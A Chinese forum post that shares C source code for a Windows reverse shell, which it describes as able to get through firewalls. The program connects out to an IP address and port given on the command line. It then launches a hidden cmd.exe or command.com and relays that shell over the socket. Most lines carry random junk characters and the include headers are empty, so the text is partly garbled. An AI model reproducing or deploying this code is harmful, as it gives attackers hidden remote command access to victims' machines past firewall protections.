社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6855阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mF F]d  
w78Ius,  
/* ============================== /1li^</|p`  
Rebound port in Windows NT CJKH"'u3^  
By wind,2006/7 Z `\7B e  
===============================*/ ^}1RDdQ"U  
#include oh@r0`J]x  
#include 3`9*Hoy0c  
PYHm6'5BtB  
#pragma comment(lib,"wsock32.lib") $PS5xD~@  
b"FsT  
void OutputShell(); Ok`U*j  
SOCKET sClient; )vU{JY;  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ic=V:  
3sZK[Y|ax  
void main(int argc,char **argv) f[}SS]d:E  
{ @$+[IiP  
WSADATA stWsaData; ?ha}&##  
int nRet; aq5<Ks`r  
SOCKADDR_IN stSaiClient,stSaiServer; E7eVg*Cvi  
<dYk|5AdLF  
if(argc != 3) &HXSO,@  
{ NUnP'X=J,  
printf("Useage:\n\rRebound DestIP DestPort\n"); a+~o: 5  
return; lwg.'<  
} ;W+-x] O  
x b0+4w|  
WSAStartup(MAKEWORD(2,2),&stWsaData); }\0"gM  
*i?qOv /=>  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?*s!&-KI  
_@OYC<  
stSaiClient.sin_family = AF_INET; yX~[yH+Pn  
stSaiClient.sin_port = htons(0); fcZOsTj  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `p?E{k.N  
(&*F`\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S-/ #3  
{ blN1Q%m6  
printf("Bind Socket Failed!\n"); Qx,G3m[}  
return; -mkync3  
} bp$jD  
O(~Vvoq  
stSaiServer.sin_family = AF_INET; Ksp;bfe  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); " }ZD)7K  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !>:tF,fcB  
aXJe"IT.u  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y@4vQm+  
{ XP`kf]9  
printf("Connect Error!"); UA8!?r-cR  
return; h@DJ/&;u@  
} ; p_X7N  
OutputShell(); !xc7~D@om(  
} y^A $bTQq  
;Pa(nUE@  
void OutputShell() *=7[Ip< X  
{ ~ /x42|t  
char szBuff[1024]; /< :; ^B  
SECURITY_ATTRIBUTES stSecurityAttributes; "QF083$  
OSVERSIONINFO stOsversionInfo; ;dFe >`~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +i>q;=~  
STARTUPINFO stStartupInfo; @ubz?5  
char *szShell; \fz j fZ1n  
PROCESS_INFORMATION stProcessInformation; Yq^y"rw  
unsigned long lBytesRead; Zb }PP;O  
Ww(_EW  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); <di_2hN  
i`SF<)M(  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 31* 6 ;(  
stSecurityAttributes.lpSecurityDescriptor = 0; JJ~?ON.H  
stSecurityAttributes.bInheritHandle = TRUE; \+u qP:Ty  
biG9?  
[dJ\|=  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4r. W:}4:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 19.cf3Dh  
$;CC lzw  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); DsX>xzM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZH(.| NaH  
stStartupInfo.wShowWindow = SW_HIDE; 1;P\mff3Y  
stStartupInfo.hStdInput = hReadPipe; LbR-uc?x  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WNb$2q=  
RrHnDO'  
GetVersionEx(&stOsversionInfo); 'm cJ/9)v  
E%^28}dN  
switch(stOsversionInfo.dwPlatformId) yx2.7h3  
{ 4B]61|A  
case 1: 6\3k0z  
szShell = "command.com"; S>,I&`yi  
break; QRlzGRueR&  
default: gHx-m2N  
szShell = "cmd.exe"; x3s^u~C)(w  
break; Wn^^Q5U#  
} faq K D:  
%jxuH+L   
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >D/~|`=p  
A,{D9-%  
send(sClient,szMsg,77,0); xiF%\#N  
while(1) M: "ci;*$  
{ rl%Kn^JJ~  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ElXe=5L\#  
if(lBytesRead) 6 b}feEh$!  
{ <dL04F  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); h,>L(=c$O  
send(sClient,szBuff,lBytesRead,0); ^I{]Um:  
} k Ml<  
else $t$f1?  
{ N >!xedw=  
lBytesRead=recv(sClient,szBuff,1024,0); gJ.6m&+  
if(lBytesRead<=0) break; h`]/3Ma*:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pYVy(]1I(3  
} 5uo(z,WLR  
} l~YNmmv_  
#0u69  
return; Yd;r8rN  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八